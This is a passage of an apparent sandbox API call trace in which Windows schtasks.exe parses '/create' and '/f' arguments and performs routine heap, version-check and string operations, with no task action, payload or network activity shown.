_Size=0x7) returned 0 [0158.311] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|query|") returned 7 [0158.311] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.311] lstrlenW (lpString="|query|") returned 7 [0158.311] lstrlenW (lpString="|f|") returned 3 [0158.311] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0158.311] SetLastError (dwErrCode=0x490) [0158.311] lstrlenW (lpString="change") returned 6 [0158.311] lstrlenW (lpString="change") returned 6 [0158.311] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.311] lstrlenW (lpString="f") returned 1 [0158.311] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.311] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|change|") returned 8 [0158.311] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.311] lstrlenW (lpString="|change|") returned 8 [0158.312] lstrlenW (lpString="|f|") returned 3 [0158.312] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0158.312] SetLastError (dwErrCode=0x490) [0158.312] lstrlenW (lpString="run") returned 3 [0158.312] lstrlenW (lpString="run") returned 3 [0158.312] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.312] lstrlenW (lpString="f") returned 1 [0158.312] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.312] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|run|") returned 5 [0158.312] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.312] lstrlenW (lpString="|run|") returned 5 [0158.312] lstrlenW (lpString="|f|") returned 3 [0158.312] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0158.312] SetLastError (dwErrCode=0x490) [0158.312] lstrlenW (lpString="end") returned 3 [0158.312] lstrlenW (lpString="end") returned 3 [0158.312] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.312] lstrlenW (lpString="f") returned 1 [0158.312] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.312] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|end|") returned 5 [0158.312] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.312] lstrlenW (lpString="|end|") returned 5 [0158.312] lstrlenW (lpString="|f|") returned 3 [0158.312] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0158.312] SetLastError (dwErrCode=0x490) [0158.313] lstrlenW (lpString="showsid") returned 7 [0158.313] lstrlenW (lpString="showsid") returned 7 [0158.313] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.313] lstrlenW (lpString="f") returned 1 [0158.313] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.313] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|showsid|") returned 9 [0158.313] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df678 | out: _Buffer="|f|") returned 3 [0158.313] lstrlenW (lpString="|showsid|") returned 9 [0158.313] lstrlenW (lpString="|f|") returned 3 [0158.313] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0158.313] SetLastError (dwErrCode=0x490) [0158.313] SetLastError (dwErrCode=0x490) [0158.313] SetLastError (dwErrCode=0x0) [0158.313] lstrlenW (lpString="/f") returned 2 [0158.313] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0158.313] SetLastError (dwErrCode=0x490) [0158.313] SetLastError (dwErrCode=0x0) [0158.313] lstrlenW (lpString="/f") returned 2 [0158.313] GetProcessHeap () returned 0x2e0000 [0158.313] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fdcd0 [0158.313] GetProcessHeap () returned 0x2e0000 [0158.313] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fce20 [0158.313] SetLastError (dwErrCode=0x0) [0158.313] GetProcessHeap () returned 0x2e0000 [0158.313] GetProcessHeap () returned 0x2e0000 [0158.313] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc200) returned 1 [0158.313] GetProcessHeap () returned 0x2e0000 [0158.313] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc200) returned 0x8 [0158.313] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc200 | out: hHeap=0x2e0000) returned 1 [0158.313] GetProcessHeap () returned 0x2e0000 [0158.314] GetProcessHeap () returned 0x2e0000 [0158.314] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc10) returned 1 [0158.314] GetProcessHeap () returned 0x2e0000 [0158.314] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcc10) returned 0x20 [0158.314] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc10 | out: hHeap=0x2e0000) returned 1 [0158.314] GetProcessHeap () returned 0x2e0000 [0158.314] GetProcessHeap () returned 0x2e0000 [0158.314] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc40) returned 1 [0158.314] GetProcessHeap () returned 0x2e0000 [0158.314] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcc40) returned 0x22 [0158.315] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc40 | out: hHeap=0x2e0000) returned 1 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc70) returned 1 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcc70) returned 0x20 [0158.315] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcc70 | out: hHeap=0x2e0000) returned 1 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc290) returned 1 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc290) returned 0x8 [0158.315] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc290 | out: hHeap=0x2e0000) returned 1 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.315] GetProcessHeap () returned 0x2e0000 [0158.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcca0) returned 1 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcca0) returned 0x20 [0158.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcca0 | out: hHeap=0x2e0000) returned 1 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2b0) returned 1 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc2b0) returned 0xe [0158.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2b0 | out: hHeap=0x2e0000) returned 1 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccd0) returned 1 [0158.316] GetProcessHeap () returned 0x2e0000 [0158.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fccd0) returned 0x20 [0158.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccd0 | out: hHeap=0x2e0000) returned 1 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2d0) returned 1 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc2d0) returned 0x8 [0158.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2d0 | out: hHeap=0x2e0000) returned 1 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd00) returned 1 [0158.317] GetProcessHeap () returned 0x2e0000 [0158.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd00) returned 0x20 [0158.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd00 | out: hHeap=0x2e0000) returned 1 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2f0) returned 1 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc2f0) returned 0x4 [0158.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc2f0 | out: hHeap=0x2e0000) returned 1 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd30) returned 1 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd30) returned 0x20 [0158.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd30 | out: hHeap=0x2e0000) returned 1 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.318] GetProcessHeap () returned 0x2e0000 [0158.319] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc310) returned 1 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc310) returned 0x8 [0158.319] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc310 | out: hHeap=0x2e0000) returned 1 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd60) returned 1 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd60) returned 0x20 [0158.319] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd60 | out: hHeap=0x2e0000) returned 1 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc400) returned 1 [0158.319] GetProcessHeap () returned 0x2e0000 [0158.319] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc400) returned 0x64 [0158.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc400 | out: hHeap=0x2e0000) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd90) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd90) returned 0x20 [0158.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd90 | out: hHeap=0x2e0000) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc470) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc470) returned 0x8 [0158.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc470 | out: hHeap=0x2e0000) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdc0) returned 1 [0158.320] GetProcessHeap () returned 0x2e0000 [0158.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcdc0) returned 0x20 [0158.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdc0 | out: hHeap=0x2e0000) returned 1 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd500) returned 1 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd500) returned 0x10 [0158.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd500 | out: hHeap=0x2e0000) returned 1 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdf0) returned 1 [0158.321] GetProcessHeap () returned 0x2e0000 [0158.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcdf0) returned 0x20 [0158.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdf0 | out: hHeap=0x2e0000) returned 1 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fdcd0) returned 1 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fdcd0) returned 0x6 [0158.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fdcd0 | out: hHeap=0x2e0000) returned 1 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fce20) returned 1 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.322] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fce20) returned 0x20 [0158.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fce20 | out: hHeap=0x2e0000) returned 1 [0158.322] GetProcessHeap () returned 0x2e0000 [0158.323] GetProcessHeap () returned 0x2e0000 [0158.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9d0) returned 1 [0158.323] GetProcessHeap () returned 0x2e0000 [0158.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb9d0) returned 0x18 [0158.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9d0 | out: hHeap=0x2e0000) returned 1 [0158.323] SetLastError (dwErrCode=0x0) [0158.323] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0158.323] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0158.323] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0158.323] VerifyVersionInfoW (in: lpVersionInformation=0x1dc6d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1dc6d0) returned 1 [0158.323] SetLastError (dwErrCode=0x0) [0158.323] lstrlenW (lpString="create") returned 6 [0158.323] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0158.323] SetLastError (dwErrCode=0x490) [0158.323] SetLastError (dwErrCode=0x0) [0158.323] lstrlenW (lpString="create") returned 6 [0158.323] GetProcessHeap () returned 0x2e0000 [0158.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fce20 [0158.323] GetProcessHeap () returned 0x2e0000 [0158.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fd500 [0158.323] _memicmp (_Buf1=0x2fd500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.324] GetProcessHeap () returned 0x2e0000 [0158.324] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd520 [0158.324] SetLastError (dwErrCode=0x0) [0158.324] _memicmp (_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.324] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2fbc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0158.324] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0158.324] GetProcessHeap () returned 0x2e0000 [0158.324] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x74e) returned 0x2fdcd0 [0158.325] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2fdcd0 | out: lpData=0x2fdcd0) returned 1 [0158.325] VerQueryValueW (in: pBlock=0x2fdcd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1dc7b8, puLen=0x1dc820 | out: lplpBuffer=0x1dc7b8*=0x2fe06c, puLen=0x1dc820) returned 1 [0158.325] _memicmp (_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.325] _vsnwprintf (in: _Buffer=0x2fbc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1dc798 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0158.325] VerQueryValueW (in: pBlock=0x2fdcd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1dc828, puLen=0x1dc818 | out: lplpBuffer=0x1dc828*=0x2fde98, puLen=0x1dc818) returned 1 [0158.325] lstrlenW (lpString="schtasks.exe") returned 12 [0158.325] lstrlenW (lpString="schtasks.exe") returned 12 [0158.325] lstrlenW (lpString=".EXE") returned 4 [0158.325] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0158.325] lstrlenW (lpString="schtasks.exe") returned 12 [0158.325] lstrlenW (lpString=".EXE") returned 4 [0158.325] lstrlenW (lpString="schtasks") returned 8 [0158.325] lstrlenW (lpString="/create") returned 7 [0158.325] _memicmp (_Buf1=0x2fba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.325] _vsnwprintf (in: _Buffer=0x2fbc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1dc798 | out: _Buffer="schtasks /create") returned 16 [0158.325] _memicmp (_Buf1=0x2fbab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.325] GetProcessHeap () returned 0x2e0000 [0158.325] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcdf0 [0158.325] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.325] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0158.326] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0158.326] GetProcessHeap () returned 0x2e0000 [0158.326] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7ac0 [0158.326] _vsnwprintf (in: _Buffer=0x2fc030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1dc798 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0158.326] GetProcessHeap () returned 0x2e0000 [0158.326] GetProcessHeap () returned 0x2e0000 [0158.326] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fdcd0) returned 1 [0158.326] GetProcessHeap () returned 0x2e0000 [0158.326] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fdcd0) returned 0x74e [0158.326] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fdcd0 | out: hHeap=0x2e0000) returned 1 [0158.326] SetLastError (dwErrCode=0x0) [0158.326] GetThreadLocale () returned 0x409 [0158.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.326] lstrlenW (lpString="create") returned 6 [0158.326] GetThreadLocale () returned 0x409 [0158.326] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.326] lstrlenW (lpString="?") returned 1 [0158.326] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="s") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="u") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="p") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="ru") returned 2 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="rp") returned 2 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="sc") returned 2 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="mo") returned 2 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="d") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="m") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.327] lstrlenW (lpString="i") returned 1 [0158.327] GetThreadLocale () returned 0x409 [0158.327] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="tn") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="tr") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="st") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="sd") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="ed") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="it") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="et") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="k") returned 1 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="du") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="ri") returned 2 [0158.328] GetThreadLocale () returned 0x409 [0158.328] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.328] lstrlenW (lpString="z") returned 1 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="f") returned 1 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="v1") returned 2 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="xml") returned 3 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="ec") returned 2 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="rl") returned 2 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="delay") returned 5 [0158.329] GetThreadLocale () returned 0x409 [0158.329] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0158.329] lstrlenW (lpString="np") returned 2 